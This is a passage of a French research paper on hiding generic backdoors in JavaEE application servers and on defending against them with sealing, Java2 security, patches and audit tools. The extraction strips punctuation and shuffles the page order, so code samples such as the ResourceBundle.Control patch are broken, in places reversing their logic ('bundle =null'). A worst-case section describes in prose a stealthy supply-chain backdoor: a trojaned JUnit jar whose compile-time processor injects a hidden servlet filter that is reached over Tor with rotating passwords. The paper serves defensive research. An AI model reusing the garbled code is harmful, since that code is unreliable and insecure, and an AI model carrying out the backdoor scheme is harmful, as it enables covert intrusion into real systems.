comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
P Prados 429
ou tous les privileges globalement (parametre --merge )
Privileges globaux
grant
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite
La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple
Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter
Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte
Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation
Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=
ndash httpslocalhost
ndash filedatabasepolicypolicy
ndash policypolicy
Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-
-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise
13 httpmacaron-policygooglecodecom
430 Porte derobee dans les serveurs drsquoapplications JavaEE
Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar
possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme
$ macaron -policy --merge --output securitypolicy
$MACARON_HOMElibpolicy -jar
Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee
$ JAVA_OPT=-Djavasecuritymanager
-Djavasecuritypolicy=securitypolicy
macaron -policy --output -
$MACARON_HOMElibpolicy -jar
Les privileges demandes sont les suivants
grant
permission javautilloggingLoggingPermission control
permission javautilPropertyPermission
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
permission javanetSocketPermission
80 connect resolve
permission javanetSocketPermission
443 connect resolve
permission javalangRuntimePermission
getenvPOLICY_DATABASE
Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy
Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante
$ macaron -policy
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy
P Prados 431
Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run
-security gtaccesslog 2gtamp1
La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses
Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces
-Djavasecuritydebug=access failure permission=javalangRuntimePermission
Ou bien de ne tracer que les privileges necessaires a un composant particulier
-Djavasecuritydebug =
access failure codebase =
file$TOMCAT_HOMEwebappssample
Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug
macaron -policy --accesslog accesslog
Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege
$ macaron -policy
--accesslog accesslog
--policy $CATALINA_HOMEconfcatalinapolicy
$CATALINA_HOMEwebappsMonComposantwar
Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I
$ macaron -policy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
432 Porte derobee dans les serveurs drsquoapplications JavaEE
Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution
Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy
Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant
$ export
JAVA_OPTS=-Djavasecuritydebug=access failure
$ while [ true ] do
echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read
macaron -policy
-P tomcatproperties
--policy $CATALINA_HOMEconfcatalinapolicy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar
echo launch tomcat
$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1
done
Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract
en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi
$ macaron -policy
--loglevel info
--extract
--output mypolicydatabase
--policy $CATALINA_HOMEconfcatalinapolicy
Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum
Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires
P Prados 433
a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication
Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations
$ macaron -policy --help
52 Signature numerique
Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement
grant codebase foocom Signedby foo
Principal comsunsecurityauthSolarisPrincipal duke
permission javasecurityAllPermission
Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant
53 Defense passive
Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons
ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les
memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres
utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges
Un fichier au format XML permet de synthetiser les resultats
$ macaron -audit --output auditxml MonComposantear
$ firefox auditxml
434 Porte derobee dans les serveurs drsquoapplications JavaEE
Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats
Fig 14 Audit
Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs
archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc
ltpackages gt
ltpackage
name=orgaspectjinternallangannotationgt
ltcontext gtaspectjweaver -161 jarltcontext gt
ltcontext gtaspectjrt -160 jarltcontext gt
ltpackage gt
ltpackages gt
Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees
$ macaron -audit --output ignorexml MonComposantear
$ macaron -audit --ignore ignorexml
-output auditxml
MonComposantear
P Prados 435
Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement
ltfilenames gt
ltfilename name=MANIFESTMF gt
ltfilename name=INDEXLIST gt
ltfilename name=packagehtml gt
ltfilenames gt
Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques
Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses
ltdependency gt
ltgroupId gtorgspringframework ltgroupId gt
ltartifactId gtspring -aspects ltartifactId gt
ltversion gt255ltversion gt
ltexclusions gt
ltexclusion gt
ltgroupId gtorgaspectj ltgroupId gt
ltartifactId gtaspectjrt ltartifactId gt
ltexclusion gt
ltexclusions gt
ltdependency gt
Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml
Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2
54 Defense active
Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14
Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)
14 httpjavasuncomdeveloperJDCTechTips2001tt0130html
436 Porte derobee dans les serveurs drsquoapplications JavaEE
Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee
En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle
Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes
Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes
ltbuildgt
ltplugins gt
ltplugin gt
ltartifactId gtmaven -jar -plugin ltartifactId gt
ltconfiguration gt
ltarchive gt
ltmanifestEntries gt
ltSealed gttrueltSealed gt
ltmanifestEntries gt
ltarchive gt
ltconfiguration gt
ltplugin gt
ltplugins gt
ltbuildgt
Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe
Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)
$ macaron -seal --in -place MonComposantear
Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages
Pour plus drsquoinformations invoquez lrsquoaide
$ macaron -seal --help
15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing
P Prados 437
Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local
$ macaron -seal --in -place --sha1 -R m2repository
De meme pour un repository Ivy
$ macaron -seal --in -place -R ivy2cache
Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes
$ macaron -audit --output audit -tomcatxml
-R $CATALINA_HOME
$ macaron -seal --ignore audit -tomcatxml
-R $CATALINA_HOME --in -place
Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe
$ macaron -audit --output - -R $CATALINA_HOME |
macaron -seal --ignore - -R $CATALINA_HOME --in-place
La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges
$ $CATALINA_HOMEbincatalinash run -security
Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables
Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur
$ macaron -seal --audit sealedxml MonComposantwar
$ firefox sealedxml
438 Porte derobee dans les serveurs drsquoapplications JavaEE
55 Reduction du risque des META-INFservices
La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation
Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant
Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface
Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
